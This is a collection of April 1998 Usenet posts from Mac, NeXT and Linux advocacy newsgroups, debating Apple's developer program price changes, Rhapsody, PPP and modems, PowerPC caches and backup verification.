AOI costs, what, $1500, there isn't going to be any?
Furthermore, you obviously missed the part about Apple not yet having
announced the edu program. I can't believe that the edu program is going to
be more than the commercial program. Apple *has* announced that Rhaposdy
will be available at a very good price to academics, so I suspect that that
will be an even better deal than the old $299 package from NeXT.
Given that the cost of machines has reduced, all in all it looks to me like
it's going to be cheaper for academics now than it ever has been.
mmalc.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 19:47:27 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggk8f$1kt$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com> <6ga6l3$fhe$6@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6ga6l3$fhe$6@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>> What alternative rich text format would you have chosen?
>> It wasn't around then, but I would go with XML. There are lots of
>> possibilities: html, sgml, tex, ect...
> Umm, for Ken and for Lawson: the choice was made around 1988.
Umm, for Mmalc and anyone else who didn't read what I said: "It wasn't around
then," means that it wasn't around then.
[ snip ]
> Think back to 1988 and then tell us, given NeXT's goal of using standards
> where they make sense, and diverging when they could do something
> significantly better, tell us again what format you'd have chosen.
Tex variants has been around longer than RTF.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 10 Apr 1998 23:51:15 -0700
Organization: Cisco Systems
Message-ID: <352F12E2.8CEA7F4A@cisco.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com>
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Kenneth R. Kinder wrote:
>
> In comp.os.linux.advocacy , article <6ggo0q$47c$1@interport.net> ,
> float@interport.net wrote:
> > kt$6@quasar.dimensional.com>
>
> > Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
> >
> > : Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
> > : modulization system is a hack! 56k is an even bigger double hack! ISDN is
> > : even a hack!
>
> > PPP is fairly well written. SLIP was *explicitly* a hack; it was written
> > as a short-term solution, and its author acknowledged that it was a hack.
>
> PPP's better than slip, but they're both hacks!
What is it about PPP that you find hackish?
> The invention of the modem is a hack!
OK, but modem is orthogonal to PPP (for the most part, obviously
PPP's design addresses issues related to dial-up).
> Elegance is ATM or Ethernet.
ISDN is a hack, but ATM is elegant.
Okee Dokee.
> > : Actually, I'm kind of sick of the whole idea of modulization.
>
> > Care to expand on this?
>
> Modems. Modulization of digital data into an analog form (analog audio,
> even!) and then back again is udderly insane!
I see, you mean "modulation". I thought you were criticizing the
modularity
(extensibility) of PPP.
> If we had competition in the
> phone system (and I mean real competition), perhaps in the 70s or at least
> the 80s, a protocal-based infostructure would have been established.
I believe that most of the phone system's core infrastructure is
digital.
You are right in that it's too bad that it's taking so long for digital
subscriber lines to be widely available/affordable (in North America
anyway).
> What really sickens me is the way the phone companies are reacting now.
> It's their fault we're stuck with this idiotic system, and they're trying to
> pass it off as ideal! (at least where I live). In Colorado, we have USWest
> as our primary local phone service. They run commercails advertising second
> lines for your modem, fax machine, and voice. Now, they're even starting an
> ISP! I really enjoy this line: "We make the Internet as easy as your
> phone." -- OH BROTHER. The phone system was fine for Alexander Bell,
> around 100 years ago, but it's an abombination now! How the hell is it
> "easy" to remember arbitrary numbers that are sent at sound frequences that
> are related to the functional equivilant of a netword address. Unstead of
> modeling the Internet after the phone system, and installing more and more
> idiotic "area codes," the phone system needs to be totally phased out.
>
> I just get tired of utility companies -- those who control how networks are
> laid hacking around their own idiotic systems unstead of replacing them.
Your ISP probably operates a fairly large IP network that connects to
the
large Internet backbones (Sprint, MCI, BBN, etc). It's just your
subscriber
line that's analog. Unfortunately, if you want to go all digital you
need
to get ISDN or Frame Relay service, or wait for xDSL to become available
and affordable.
Cheers,
Barry
Date: Wed, 08 Apr 1998 13:12:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981312160001@wil32.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com>
In article <6ggabn$rts$2@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> In article <6gg6af$fit$1@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> >xhsoft@injep.fr (Xavier Humbert) wrote:
> >> Scott Ellsworth <scott@eviews.com> wrote:
> >>> The seeding program, imho, served a valuable purpose, but
> >>> Apple, I think, does not want any leaks of its seeds, and so
> >>> it is trying to reduce the number of developers who might
> >>> have access.
> >>
> >> What is obviously stupid : WarEz sites have System Seeds BEFORE the
> >> official FTP :-(
> >>
> >> Xav, looking for a warez URL
> >
> >I don't have much of an opinion about Apple's change to their Dev. program
> >pricing, one way or the other. I do know, however, that people who condone
> >software piracy have no moral grounds whatsoever to complain about what
Apple
> >does.
>
>
> The fellow's point was, I hope, that limiting distribution in this way
> seems unlikely to prevent the seeds from getting to the warez sites,
> because the current arcana one has to go through to get seeds
> (and it is VERY arcane) has not succeeded.
Maybe that was the point, but it's not how I read it, either.
One would presume that "serious" developers (i.e. those who rely on Apple
for their livelihood) are less likely to post a build to the Warez site.
To the extent that raising the price will not affect a large company as
much as someone doing Mac OS development as a hobby, raising the price
_may_ reduce the postings to Warez sites.
Whether that justifies the action is, of course, open for debate.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 19:58:35 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggktb$1kt$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <trev-0504982024220001@nas-sa-p5.usc.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <trev-0504982024220001@nas-sa-p5.usc.net> , Trevor Zion Bauknight <trev@sc.edu> wrote:
>> True. But that doesn't mean it'll necessarily be better. Whereas with the
>> second (ie NeXTSTEP), they were able to start with a blank slate and come up
>> with the best UI they could, in the case of the third they are very much
> Well, some of the things they did differently in NeXTSTEP were done
> differently from Apple primarily to avoid stepping on Apple's toes in this
> regard. At the time, Apple was still fighting for its "look and feel" in
> court with Microsoft (which had no such qualms as NeXT in ripping off
> Apple.) I don't know who it was, but someone with NeXT made this point.
> I dare say the UI will be far superior to any other UI on the planet in
> short order. Here, they're combining the best aspects of the traditional,
> familiar Mac UI with the best aspects of the NeXT UI...these two companies
> have been responsible for what today are arguably the two best GUIs there
> have ever been, and they're distilling them into one. I don't see how it
> *can't* be better.
The supiorority of either GUi can be argued but, the GUI isn't what makes an
OS great.
Not to make any statements about NextStep, I just want you to think about
more than the UI. Other elements are very important, such as the kernel,
hardware support, stability, ect ect ect... licensing, open standards, ect
ect ect...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
Date: Fri, 10 Apr 1998 22:49:07 -0500
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Message-ID: <jinx6568-1004982249080001@pm0a27.bratt.sover.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
Organization: Airwindows
In article <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>, "Eric A. Dubiel"
<eadubie@rs6000.cmp.ilstu.edu> wrote:
> Check it out...don't believe the M$ hype...
>
http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/index.html
> "With antitrust challenges and the launch of Windows
> 98 looming, Microsoft is reportedly looking to polish its
> war-torn image with a series of faux feel-good
> testimonials."
I loved this- you do know that Nixon did exactly the same thing while
Watergate was driving him out of office? It's spooky- even the SAME
PHRASES are being used. 'hitherto unprecedented scope' and the like.
> I think the feds should just let the case drop, and let the free-market
> be the regulator.
Gee, I think it would be better if MS went to _jail_ for their crimes :)
Jinx_tigr (they should get more special treatment than a President??)
(aka Chris Johnson)
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 20:23:27 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6ggmbv$1kt$5@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gajkm$9oq$1@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>>> Uh huh. I'd put this right up with your most clueless statements ever.
>> Funny. I've programmed PPP interfaces...
> So what? What does that have to do with your statement that PPP is going
> to go away shortly?
Read your own post. You said my statement "most clueless" -- this is a PPP
discussion.
>>> Hint: there's a whole world out there that's never seen cable TV, and
>>> entire countries with less than a T1 bandwidth. PPP will be around for a
>>> very long time.
>> Hint: If I was a Mac or Next user, you'd agree with me
> BALOGNA!
>> I suppose you thought Slip would be around forever too? Already, many new
>> replacements for the PPP protocal are out, and being refined. PPP will not
>> be obsoleted by optical cable as you seem to think, but by newer protocals
>> that are more robust, and hopefully, with cryptography.
> In 3 years? Care to put money on that one? I am rather willing to bet
> that PPP will still be the primary dialup method on Dec 1, 2001.
I'll put money on that. $20 says that PPP will NOT be the primary dialup
method in 2001.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: "Webmaster" <scarsadm@scars.com>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 10 Apr 98 10:41:11 -0700
Organization: ElectriCiti, Inc.
Message-ID: <B153A7CC-1082D@198.5.212.218>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.electriciti.com/comp.sys.next.advocacy
On Thu, Apr 9, 1998 12:53 PM, gupta@kcopsrm.tm.tta.moc-mirror
<mailto:gupta@kcopsrm.tm.tta.moc-mirror> wrote:
[snip] 1Ghz didn't use copper.
>
> http://techweb.cmp.com/eet/news/98/992news/ibm.html
>
> from which the following I found intriguing :
>
> "A key advance in the cache design - for which IBM has filed
> 23 patent applications -- was to reduce to a single clock
> the load-and-store operation, which normally takes two clock
> cycles. At 1 GHz, a load-and-store operation takes only 1
> nanosecond,
> with a cache latency of 500 picoseconds. The design of the cache
> puts more of the control logic in the cache itself, including
> the cache adder and decode functions."
>
> Question : can these design improvements be incorporated into
> PowerPCs shipping in the near future, rather than wait for the
> GHz processor ? How much speed-up does the one-clock load-and-
> store promise ?
Can't answer the second part but according to BYTE's article (Apl 98) it
states that the L1 cache of the Power3 arch can perform "2 loads or 1
store" per cycle and "can load data speculatively". Also, "Four ports on
the data cache can simultaneously 2 8-byte loads, 1 8-byte store and a
128-byte cache-line update in aspecial reload buffer."
But the caching make the Power3 special as the caches are 128way assoc as
oppossed to the G3s 8way or the P][s 4way.
The known facts about the G4 make several G3s (new 64bit 1.x core voltage
version) on a single chip with hints of larger on-chip L1 caches. I'd
imagine that the G4 cache will be very similar to the G3s which is a
direvative of the 620s. All I can find technically is the G3 LSU claims
1-cycle cache write. I guess it comes down to how much the G4 version
alters the G3 design - but since it's suppossed to ship this year it's
already settled in the labs of IBM I'm sure... Also though if it is a true
multiG3 design then each "chip" will have it's own LSU, FAU etc.
Also of note: According to MacOSRumors (awhile ago) Apple's next generation
motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
that current plans - barring changes in the memory market - was to keep
89Mhz as probably the upper end because treading much higher would require
memory near 5ns access for the motherboard and the was considered "too
costly" for the home computer market.
=tkk
From an actual M$ commercial:
"Where do we want to go today?" is the cheery line on the screen.
Meanwhile, the chorus sings "Confutatis maledictis, flammis acribus
addictis," which means: "The damned and the accursed are convicted to
flames of hell."
Date: Fri, 10 Apr 1998 10:28:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <joe.ragosta-1004981028520001@wil82.dol.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu>
In article <atlauren-0904982127500001@dialin33466.slip.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
> In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> >Then why does the article "single-out" that it was Windows-specific.
It left
> >the impression that maybe a "filesystem" peculiarity of Windows might have
> >tricked their back-up software, unbeknownst to them.
>
> More than likely,the business school is a Windows-oriented environment -
> most Bschools are. If that's the case (I say "if", I haven't the foggiest
> idea), then its possible that the Mac and UNIX users weren't supported on
> the servers in question. No fault of Windows in general, but a FUBAR
> backup/restore process.
That wasn't my perception of the article. But if it's true, it still
doesn't change anything. They went to a Windows centric solution (if only
the Windows users were backed up) and screwed the people who relied on
them.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Apr 1998 01:34:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980134360001@wil68.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net>
In article <6gitpj$csn$1@interport.net>, float@interport.net wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
>
> : Or hobbyist pseudo developers--people who never wrote an app or never
> : planned to, but paid the $250 for access to hardware and software
> : discounts.
>
> Apple should be ACTIVELY ENCOURAGING these people. Some of them might
> grow up to be software developers . . . or management . . . or sysadmins .
> . . or end users . . . or, or, or . . .
Sure. They should encourage everyone.
But how do you allocate limited resources? Apple has decided that spending
the money on TV ads or magazine ads is a better place to put scarce
resources than subsidizing hobbyists.
And in case you've missed it, it is now possible for hobbyists to get
SDK's free. How much cheaper do they need to be?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: craig_isaacs@dantz.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 11:16:35 -0600
Organization: Dantz Development Corporation
Message-ID: <6glgl4$jrn$1@nnrp1.dejanews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu>
In article <edremy-ya02408000R0904981710030001@nnrp.usc.edu>,
edremy@chem1.usc.edu (Eric Remy) wrote:
> ... You wrote earlier that you use Retrospect. Do
> you verify every tape that's written by reinstalling on a blank HD? This
> probably isn't necessary. ...
Just FYI - If you leave Retrospect's verify option on (set to the default),
Retrospect will verify the data integrity on the media by using it's restore
routines. So, for every file on the media, Retrospect reads it back into
memory and compares it to the original file. If they're the same file, great.
If not, Retrospect writes an error to the log.
Therefore, one wouldn't need to check *every* tape as long as verify is left
on. (Of course, we also recommend that folks periodically test their backup
system by actually restoring files.)
Craig Isaacs
Dantz Development Corpo
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:37:51 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981637520001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk>
In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> No, I don't. I'm quite sure there are a number of hobbyists developing
> worthwhile s/w which I might find useful at some point, however on balance
> reports suggest that the previous system was badly abused and on average
> Apple will have lost revenue through people signing up as developers simply
> to get hardware at reduced prices.
That doesn't give Apple the right to alter contracts. If they want to
decrease the discount, or raise the fees for renewals or new accounts,
fine. But they're cutting off *existing* subscribers.
> If you're a real hobbyist, do you *need* access to the bleeding edge s/w?
> If not, then you don't need to belong to the program, so it won't cost you
> anything.
It would be advantageous for me to start learning Rhapsody programming
ASAP. I can't do that very well with MacOS.
> If you think you do need access to bleeding edge s/w, then that's a fairly
> serious hobby, and I think it's reasonable for people to invest in it.
$250 I could have invested. Not $500.
I'm still not sure about whether the $199 subscription to mailings
includes things like Rhapsody DRs or not. Some people say yes, other info
seems to say "no." If it does, it's a reasonable solution for people like
me, and my only remaining beef would be that Apple has changed the terms
of active subscriptions (still, that's a serious complaint).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 98 16:33:54 GMT
Organization: QMS
Message-ID: <6glhks$ros$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <j-jahnke-0904981953430001@192.168.1.4>
In article <j-jahnke-0904981953430001@192.168.1.4>, j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>What ticks me off is NOT the increase in prices, but the fact that my
>level of support, which I paid for on good faith, has been significantly
>reduced less than six months into the cycle. Given the letter states that
>they had not accepted any new members in the past six months, means that a
>bait and switch was pulled, I signed up four months ago and was not told
>this would happen.
Interestingly, I sent in my form on Feb. 11 of 1998, my renewal date
is Feb. 28, 1999, and the first and only CD I have recieved is the
April, 1998 CD.
As with you, what has angered me is the unilateral reduction in
benefits, in my case, after only a month and change in the program.
I disagree somewhat with the new pricing, but the return of the CD
mailing-only level is a good idea, so it is uncertain what the
balance is. IMO, they need Rhapsody seeds in thge hands of
developopers as soon as possible, because of the maginitude
of the change in skills, BUT this is merely a market clearing price
question, amenable to analysis after the fact. If they decide they
have restricted it too much, they can always seed it to the
people with the CD mailings..
Changing the benefits in a substantial way is, on the other hand,
very much a bad faith act that lowers trust in the long term stability
(defined as continuance in a predicatble manner) of Apple.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3> <6ghg9f$o3$1@news.digifix.com> <j-jahnke-0904980214320001@192.168.1.3>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <352d0347.0@206.25.228.5>
Date: 9 Apr 98 17:20:07 GMT
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> In article <6ghg9f$o3$1@news.digifix.com>, sanguish@digifix.com
> (Scott Anguish) wrote:
> > On 04/08/98, Jerome Jahnke wrote: <snip>
> > >Now this is a bunch of bull. Many of us were Associates for
> > >one reason and one reason only, access to cheaper equipment.
> > >Apple does not lose money by selling me my one machine a year
> > >at a low price.
> >
> > Perhaps. But they do still provide you with all the other
> > stuff, the CD's, the mailings etc.. that does cost Apple money.
> It don't cost 500 bucks...
I'd like to get this straight. Do the mailings for $200 include
betas of Rhapsody or not?
If so, then they seem worthwhile. If not, I, personally, don't
care.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 15:43:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6giqa5$pbv$1@ns3.vrx.net>
References: <6ge378$11s04@odie.mcleod.net> <B15090B4-2681F@206.165.43.122>
<6gj6i9$b1n2@onews.collins.rockwell.com>
Mime-Version: 1.0
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Cc: embuck@palmer.cca.rockwell.com
In <6gj6i9$b1n2@onews.collins.rockwell.com> Erik M. Buck claimed:
> Regarding the Non-PS way of finding glyph bounding boxes and rendering the
> shape of a glyph along a path see the following:
One that gets you a lot closer is to use PS's bounding box calc routine,
then cache that. I'm not sure (not having it to use handily) what the -
(NSRect)boundingRectForGlyph:(NSGlyph)aGlyph call does, but I do know the
bounding path one is solid as rock.
Maury
From: Le_Jax@iName.com (Jacques Foucry)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 22:44:11 +0200
Organization: Correze Software
Message-ID: <19980409224411642783@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
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Charles Swiger <chuck-nospam@blacksmith.com> wrote (écrivait) :
> If you're
> going to WWDC, you should have a chance to play around with Rhapsody and your
> product.
You know what ?
From Europe, WWDC is not a little and inexpesinve trip... :-(((
And Benoit come from France...
--
Calendriers 3.0 est disponible.
Vous le trouverez sur le ouèbe de la BurpTeam
<http://www.burpteam.home.ml.org>
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:44:57 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981644570001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com>
In article <6giu6s$6j$5@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> Apparently, Apple is planning on providing on providing a very low cost
> academic program to similiarly encourage that crowd....
WHEN???
Rhapsody DR1 was released last September. That was seven months ago! How
long does it take to decide how much you're going to charge .edu users?
I've only heard rumors about low-cost Rhapsody licensing, not official
commitments from Apple. I am not at all optimistic.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:42:58 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981642580001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk>
In article <6ggs48$oop$2@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> If anyone is wanting to develop for Rhapsody professionally and doesn't have
> $500, they don't have a business plan. If you're intending to write
